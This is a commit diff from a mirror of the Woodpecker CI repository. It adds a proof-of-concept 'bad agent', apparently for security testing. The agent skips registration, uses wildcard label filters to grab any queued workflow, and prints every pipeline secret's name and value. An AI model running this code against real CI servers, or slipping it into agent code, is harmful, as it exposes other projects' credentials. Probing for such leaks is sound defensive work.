mirror of
https://github.com/woodpecker-ci/woodpecker.git
synced 2024-09-28 06:22:01 +00:00
try to have an PoC for an bad agent
to make sure nothing breaks or leaks
This commit is contained in:
parent
b68761f3c1
commit
65a821a956
1 changed files with 18 additions and 82 deletions
|
@ -37,14 +37,11 @@ import (
|
||||||
"google.golang.org/grpc/metadata"
|
"google.golang.org/grpc/metadata"
|
||||||
"google.golang.org/grpc/status"
|
"google.golang.org/grpc/status"
|
||||||
|
|
||||||
"go.woodpecker-ci.org/woodpecker/v2/agent"
|
|
||||||
agentRpc "go.woodpecker-ci.org/woodpecker/v2/agent/rpc"
|
agentRpc "go.woodpecker-ci.org/woodpecker/v2/agent/rpc"
|
||||||
"go.woodpecker-ci.org/woodpecker/v2/pipeline/backend"
|
|
||||||
"go.woodpecker-ci.org/woodpecker/v2/pipeline/backend/types"
|
"go.woodpecker-ci.org/woodpecker/v2/pipeline/backend/types"
|
||||||
"go.woodpecker-ci.org/woodpecker/v2/pipeline/rpc"
|
"go.woodpecker-ci.org/woodpecker/v2/pipeline/rpc"
|
||||||
"go.woodpecker-ci.org/woodpecker/v2/shared/logger"
|
"go.woodpecker-ci.org/woodpecker/v2/shared/logger"
|
||||||
"go.woodpecker-ci.org/woodpecker/v2/shared/utils"
|
"go.woodpecker-ci.org/woodpecker/v2/shared/utils"
|
||||||
"go.woodpecker-ci.org/woodpecker/v2/version"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
func run(c *cli.Context, backends []types.Backend) error {
|
func run(c *cli.Context, backends []types.Backend) error {
|
||||||
|
@ -112,9 +109,12 @@ func run(c *cli.Context, backends []types.Backend) error {
|
||||||
client := agentRpc.NewGrpcClient(conn)
|
client := agentRpc.NewGrpcClient(conn)
|
||||||
|
|
||||||
sigterm := abool.New()
|
sigterm := abool.New()
|
||||||
|
|
||||||
|
// HEHE we are an bad agent
|
||||||
|
|
||||||
ctx := metadata.NewOutgoingContext(
|
ctx := metadata.NewOutgoingContext(
|
||||||
context.Background(),
|
context.Background(),
|
||||||
metadata.Pairs("hostname", hostname),
|
metadata.Pairs("hostname", hostname, "agent_id", ""),
|
||||||
)
|
)
|
||||||
|
|
||||||
agentConfigPersisted := abool.New()
|
agentConfigPersisted := abool.New()
|
||||||
|
@ -151,42 +151,12 @@ func run(c *cli.Context, backends []types.Backend) error {
|
||||||
parallel := c.Int("max-workflows")
|
parallel := c.Int("max-workflows")
|
||||||
wg.Add(parallel)
|
wg.Add(parallel)
|
||||||
|
|
||||||
// new engine
|
// HEHE we are an bad agent
|
||||||
backendCtx := context.WithValue(ctx, types.CliContext, c)
|
|
||||||
backendName := c.String("backend-engine")
|
|
||||||
backendEngine, err := backend.FindBackend(backendCtx, backends, backendName)
|
|
||||||
if err != nil {
|
|
||||||
log.Error().Err(err).Msgf("cannot find backend engine '%s'", backendName)
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
if !backendEngine.IsAvailable(backendCtx) {
|
|
||||||
log.Error().Str("engine", backendEngine.Name()).Msg("selected backend engine is unavailable")
|
|
||||||
return fmt.Errorf("selected backend engine %s is unavailable", backendEngine.Name())
|
|
||||||
}
|
|
||||||
|
|
||||||
// load engine (e.g. init api client)
|
|
||||||
engInfo, err := backendEngine.Load(backendCtx)
|
|
||||||
if err != nil {
|
|
||||||
log.Error().Err(err).Msg("cannot load backend engine")
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
log.Debug().Msgf("loaded %s backend engine", backendEngine.Name())
|
|
||||||
|
|
||||||
agentConfig.AgentID, err = client.RegisterAgent(ctx, engInfo.Platform, backendEngine.Name(), version.String(), parallel)
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
|
|
||||||
if agentConfigPath != "" {
|
|
||||||
if err := writeAgentConfig(agentConfig, agentConfigPath); err == nil {
|
|
||||||
agentConfigPersisted.Set()
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
labels := map[string]string{
|
labels := map[string]string{
|
||||||
"hostname": hostname,
|
"hostname": "*",
|
||||||
"platform": engInfo.Platform,
|
"platform": "*",
|
||||||
"backend": backendEngine.Name(),
|
"backend": "*",
|
||||||
}
|
}
|
||||||
|
|
||||||
if err := stringSliceAddToMap(c.StringSlice("filter"), labels); err != nil {
|
if err := stringSliceAddToMap(c.StringSlice("filter"), labels); err != nil {
|
||||||
|
@ -197,54 +167,20 @@ func run(c *cli.Context, backends []types.Backend) error {
|
||||||
Labels: labels,
|
Labels: labels,
|
||||||
}
|
}
|
||||||
|
|
||||||
log.Debug().Msgf("agent registered with ID %d", agentConfig.AgentID)
|
|
||||||
|
|
||||||
go func() {
|
|
||||||
for {
|
for {
|
||||||
if sigterm.IsSet() {
|
fmt.Println("I'm a bad agent hehe")
|
||||||
log.Debug().Msg("terminating health reporting")
|
work, err := client.Next(ctx, filter)
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
err := client.ReportHealth(ctx)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
log.Err(err).Msg("failed to report health")
|
fmt.Printf("ERROR: %s", err)
|
||||||
return
|
} else {
|
||||||
}
|
fmt.Println("sweet sweet secrets")
|
||||||
|
for _, s := range work.Config.Secrets {
|
||||||
<-time.After(time.Second * 10)
|
fmt.Printf("name: '%s' value: '%s'\n", s.Name, s.Value)
|
||||||
}
|
|
||||||
}()
|
|
||||||
|
|
||||||
for i := 0; i < parallel; i++ {
|
|
||||||
i := i
|
|
||||||
go func() {
|
|
||||||
defer wg.Done()
|
|
||||||
|
|
||||||
r := agent.NewRunner(client, filter, hostname, counter, &backendEngine)
|
|
||||||
log.Debug().Msgf("created new runner %d", i)
|
|
||||||
|
|
||||||
for {
|
|
||||||
if sigterm.IsSet() {
|
|
||||||
log.Debug().Msgf("terminating runner %d", i)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
log.Debug().Msg("polling new steps")
|
|
||||||
if err := r.Run(ctx); err != nil {
|
|
||||||
log.Error().Err(err).Msg("pipeline done with error")
|
|
||||||
return
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}()
|
|
||||||
|
time.Sleep(time.Second)
|
||||||
}
|
}
|
||||||
|
|
||||||
log.Info().Msgf(
|
|
||||||
"starting Woodpecker agent with version '%s' and backend '%s' using platform '%s' running up to %d pipelines in parallel",
|
|
||||||
version.String(), backendEngine.Name(), engInfo.Platform, parallel)
|
|
||||||
|
|
||||||
wg.Wait()
|
|
||||||
return nil
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func runWithRetry(backendEngines []types.Backend) func(context *cli.Context) error {
|
func runWithRetry(backendEngines []types.Backend) func(context *cli.Context) error {
|
||||||
|
|
Loading…
Reference in a new issue